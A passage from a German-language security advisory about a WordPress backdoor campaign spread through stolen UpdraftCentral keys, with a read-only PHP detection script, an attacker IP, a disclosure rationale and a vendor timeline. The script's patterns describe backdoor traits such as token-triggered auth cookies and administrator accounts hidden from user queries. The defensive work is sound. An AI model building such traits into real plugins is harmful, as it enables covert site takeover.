[ALERT] 2026-10-19 02:14 UTC 43.250.53.42 "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK] No backdoor plugin files found.
[OK] No backdoor options in the database.
[OK] No backdoor accounts or hidden admin-level users.Sie können das Skript auch direkt herunterladen:
curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txtSHA-256 des Skripts: f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0. Der vollständige Code:
<?php
/**
* Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
* Read-only. It changes nothing on the site.
* v2: also detects the second variant, which creates a hidden administrator.
*
* Run in the WordPress root directory:
* wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
*
* --skip-plugins matters: an installed copy of the backdoor crashes every request,
* including WP-CLI, unless plugins are skipped.
*/
$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
if ( 'ALERT' === $level ) $alerts++;
if ( 'WARN' === $level ) $warnings++;
echo str_pad( "[$level]", 8 ), $message, "\n";
};
echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";
// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
foreach ( $keys as $id => $key ) {
$report( 'WARN', sprintf(
'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
$id,
isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
) );
}
} else {
$report( 'OK', 'No active UpdraftCentral connection.' );
}
// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
$message = isset( $entry['message'] ) ? $entry['message'] : '';
$agent = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
$when = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
$ip = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
$report( 'ALERT', "$when $ip \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
$log_hits++;
} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
$report( 'WARN', "$when $ip probe for UpdraftCentral (UA: $agent)." );
$log_hits++;
} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
$report( 'ALERT', "$when $ip \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
$log_hits++;
}
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
foreach ( (array) glob( $pattern ) as $file ) {
$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
$template = false !== strpos( $code, 'keeps option storage tidy' )
|| false !== strpos( $code, 'Improves cron tasks efficiency' )
|| false !== strpos( $code, 'keep service accounts out of the main user list' )
|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
if ( $template ) {
$report( 'ALERT', "Backdoor plugin file: $file" );
$plugin_hits++;
}
}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );
// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
// The second variant stores the ID of its hidden administrator in <slug>_uid.
$uids = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$'" );
foreach ( $uids as $o ) {
$u = ctype_digit( (string) $o->option_value ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
$bad = $u && preg_match( '/@example\.(com|org)$/', $u->user_email );
$report( $bad ? 'ALERT' : 'WARN', "Option {$o->option_name} = {$o->option_value}" . ( $u ? " (user {$u->user_login} <{$u->user_email}>)" : '' ) . ( $bad ? '' : '. Check that a plugin you know uses it.' ) );
}
if ( ! $options && ! $uids ) $report( 'OK', 'No backdoor options in the database.' );
// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant hides its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name = 'Site Tools'" ) as $user ) {
$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
$flagged[ $user->ID ] = true;
$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
if ( isset( $flagged[ $user->ID ] ) ) continue;
$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
if ( isset( $flagged[ $user->ID ] ) ) continue;
$caps = (array) get_user_meta( $user->ID, $cap_key, true );
$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
if ( $extra && empty( $caps['administrator'] ) ) {
$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
$user_hits++;
}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );
echo "\n";
if ( $alerts ) {
echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
echo "RESULT: no traces found.\n";
}Warum wir sofort veröffentlichen
Responsible Disclosure bedeutet, dem Hersteller Zeit für eine Korrektur zu geben und Details erst danach zu veröffentlichen. Dafür gibt es hier leider keinen Grund. Der Angreifer verbreitet Hintertüren bereits aktiv in WordPress-Installationen, und ein Fix des Herstellers hilft den Betreibern nicht, solange der Angreifer gültige Schlüssel hat. Der einzige wirksame Schutz ist, die UpdraftCentral-Verbindung zu entfernen und die Website zu prüfen, und das kann jeder Administrator sofort tun.
Die Veröffentlichung hilft dem Angreifer nicht. Er braucht gültige Schlüssel, die er bereits hat, und nichts in diesem Artikel gibt ihm einen neuen Angriffsweg. Den Verteidigern gibt sie dagegen eine Anleitung zum Schutz. Die Hintertür stammt zudem aus einem Generator, der für jede Website andere Namen, Tokens und Passwörter erzeugt, was auf ein Werkzeug für eine große Zahl von Websites hindeutet. Jede Stunde Warten gibt dem Angreifer Zeit für weitere Websites.
Kommunikation mit dem Hersteller und Sicherheitsfirmen
- 19.10.2026: Meldung an TeamUpdraft über das Premium-Support-Formular, mit Logs und einer Analyse von Website A
- 19.10.2026: Nachtrag zu den Angriffen auf die Websites B und C, die zweite Probe und ein Vergleich des User-Agents mit dem echten Dashboard
- 19.10.2026: Wordfence und Patchstack informiert, damit sie eine Erkennung ergänzen und weitere Betreiber warnen können
- 19.10.2026: TeamUpdraft veröffentlichte eine Stellungnahme zum Sicherheitsvorfall und bestätigte den Zugriff auf die Kundendatenbank einschließlich der UpdraftCentral-Schlüssel
- 19.10.2026: In seiner Antwort auf unsere Meldung bestätigte TeamUpdraft, dass es die UpdraftCentral-Schlüssel als kompromittiert betrachtet, und bittet alle UpdraftCentral-Kunden, jede Website zu trennen und zu prüfen. Die Notfallversion von UpdraftPlus war bei Redaktionsschluss noch nicht erschienen (aktuell ist 1.26.11 vom 16.10.).
- 19.10.2026: Patchstack veröffentlichte eine eigene Analyse und bestätigte beide IP-Adressen des Angreifers. Wordfence und Patchstack baten um Proben.
Wenn Sie einen ähnlichen Angriff beobachtet haben, schreiben Sie uns an info@nethemba.com. Proben und weiteres technisches Material stellen wir dem Hersteller und Sicherheitsteams auf Anfrage zur Verfügung.
Aktualisierungen
- 19.10.2026: Erstveröffentlichung.
- 19.10.2026: Hinweis, dass das UpdraftCentral-Log nur 50 Ereignisse speichert, plus Prüfung des Access-Logs; Empfehlung, die Verbindung nicht neu anzulegen; Vorgehen bei vollständig kompromittierten Websites; Präzisierung der von CVE-2026-10795 betroffenen Versionen.
- 19.10.2026: Stellungnahme des Herstellers ergänzt, der den Abfluss der Schlüssel von teamupdraft.com bestätigt hat; Empfehlungen, Fix und Umfang aktualisiert.
- 19.10.2026 (abends): zweite Variante mit verstecktem Administrator, weitere Proben der ersten Variante, zweite IP-Adresse, Link zur Analyse von Patchstack, Prüfskript Version 2.
- 19.10.2026: direkte Antwort des Herstellers auf unsere Meldung ergänzt.

